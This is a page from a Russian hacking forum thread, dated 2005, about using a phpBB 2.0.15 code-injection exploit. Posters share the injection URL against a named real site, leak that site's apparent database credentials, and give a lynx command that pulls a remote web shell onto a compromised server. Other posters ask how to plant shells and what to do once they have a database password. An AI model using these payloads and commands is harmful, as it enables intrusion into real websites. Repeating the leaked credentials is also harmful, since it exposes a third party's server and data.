Эксплоит для phpbb 2.0.15

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Эксплоит для phpbb 2.0.15

Страница 3 из 6

Опции темы

Поиск в этой теме

Опции просмотра

#21

03.07.2005, 02:14

dinar_007

Флудер

Регистрация: 18.01.2005

Сообщений: 2,298

С нами: 11215046

Репутация: 1844

Цитата:

Сообщение от m0nzt3r

про права я не помню эти буковки))попробуй в images или tmp, да и вобще дай ссылку....динар по этой ссылке говорит что нету такой темы..

Попробуй другой топик открыть

#22

03.07.2005, 02:37

dinar_007

Флудер

Регистрация: 18.01.2005

Сообщений: 2,298

С нами: 11215046

Репутация: 1844

На некоторых форумах выдаётся вот такая штука!!!
Fatal error: Call to undefined function phpbb_rtrim() in /pub/home/motorolk/motor/forum/viewtopic.php on line 498

Чё это такое?

#23

03.07.2005, 03:09

dinar_007

Флудер

Регистрация: 18.01.2005

Сообщений: 2,298

С нами: 11215046

Репутация: 1844

http://soft.blend.ru/forum/viewtopic.php?t=123&cmd=ls&highlight='.passthru($H TTP_GET_VARS[cmd]).'

А чё дальше то делать?

Как шелл залить в форум ???

Последний раз редактировалось dinar_007; 03.07.2005 в 03:25..

#24

03.07.2005, 04:43

tester2005

Познающий

Регистрация: 17.01.2005

Сообщений: 48

С нами: 11217162

Репутация: 15

Цитата:

Сообщение от dinar_007

http://soft.blend.ru/forum/viewtopic.php?t=123&cmd=ls&highlight='.passthru($H TTP_GET_VARS[cmd]).'

А чё дальше то делать?

Как шелл залить в форум ???

$dbms = 'mysql';

$dbhost = 'localhost';
$dbname = 'blend129_form';
$dbuser = 'blend129_form';
$dbpasswd = '109033';

#25

03.07.2005, 05:02

S1on

Новичок

Регистрация: 01.07.2005

Сообщений: 13

С нами: 10979325

Репутация: 0

Подскажите плиз, как спомощью вот этого (http://target/forum/viewtopic.php?t=536&cmd=ls&highlight='.passthru($H TTP_GET_VARS[cmd]).')
можно залить файлы на сервак ?

#26

03.07.2005, 12:31

Rebz

Флудер

Регистрация: 08.11.2004

Сообщений: 3,395

С нами: 11317286

Репутация: 3876

Ну есть масса способов..
можешь через exec() залить..
но проще узнать сначала БД (в файле конфига). Может логин и пасс и для фтп подойдут).

#27

03.07.2005, 13:40

S1on

Новичок

Регистрация: 01.07.2005

Сообщений: 13

С нами: 10979325

Репутация: 0

Rebz, приведи для начинающих пример этой команды плизз

#28

03.07.2005, 14:29

Rebz

Флудер

Регистрация: 08.11.2004

Сообщений: 3,395

С нами: 11317286

Репутация: 3876

Я немного не в ту степь пошёл.. =)
Попробуй wget-ом.. если он не поддерживается, то можно lynx-ом.
Синаксис такой:

lynx -source http://здесь_урл_шелла/shell.php>>1.php
после знака >> мы вводим название, которое будет на сайте служить вам шеллом. Также можно сразу указать др.путь, например, .... >>./images/1.php (ваш шелл будет записан в папку images).
Ну и т.д. по аналогии...

#29

03.07.2005, 17:53

temon

Участник форума

Регистрация: 06.02.2005

Сообщений: 130

С нами: 11187283

Репутация: 5

Цитата:

Сообщение от vorishka

temon ты эта: config.php открой посмотри в HTML коде =))) Прокатит...
Повторяю свой вопрс: Какие нада права у папки? Я не нашел rwx-rwx-rwx.... Или может ещё какие нада права, что б выполнялся скрипт и я мог его залить... А то ничерта не могу...

как его открыть подробнее пожалуйста напиши.

#30

04.07.2005, 07:33

~~-artik-~~

Banned

Регистрация: 13.06.2005

Сообщений: 44

С нами: 11004184

Репутация: 0

Я тут новенький. У меня возникли вопросы что делать после того как я узнал пароль
к БД? и еще - эта уязвимость только к phpbb 2.0.15? (к прешедствующим версиям не идет?)

Страница 3 из 6

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
PhpBB 2.0.15 Database Authentication Details Exploit	VARVAR	Уязвимости CMS / форумов	11	01.02.2007 12:21
Использование уязвимости в phpbb 2.0.15. Вопросы..	-artik-	Уязвимости CMS / форумов	8	28.08.2005 20:00
Уязвимости форумов phpbb 2.0.15	exbbxak	Уязвимости CMS / форумов	105	10.08.2005 20:19
phpBB < 2.0.15, BBCODE URL в phpBB	karapuz	Уязвимости CMS / форумов	21	17.06.2005 06:11
Вопрос про эксплоит на форуме phpbb 2.0.8	dyx	Уязвимости CMS / форумов	2	12.04.2005 00:12

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход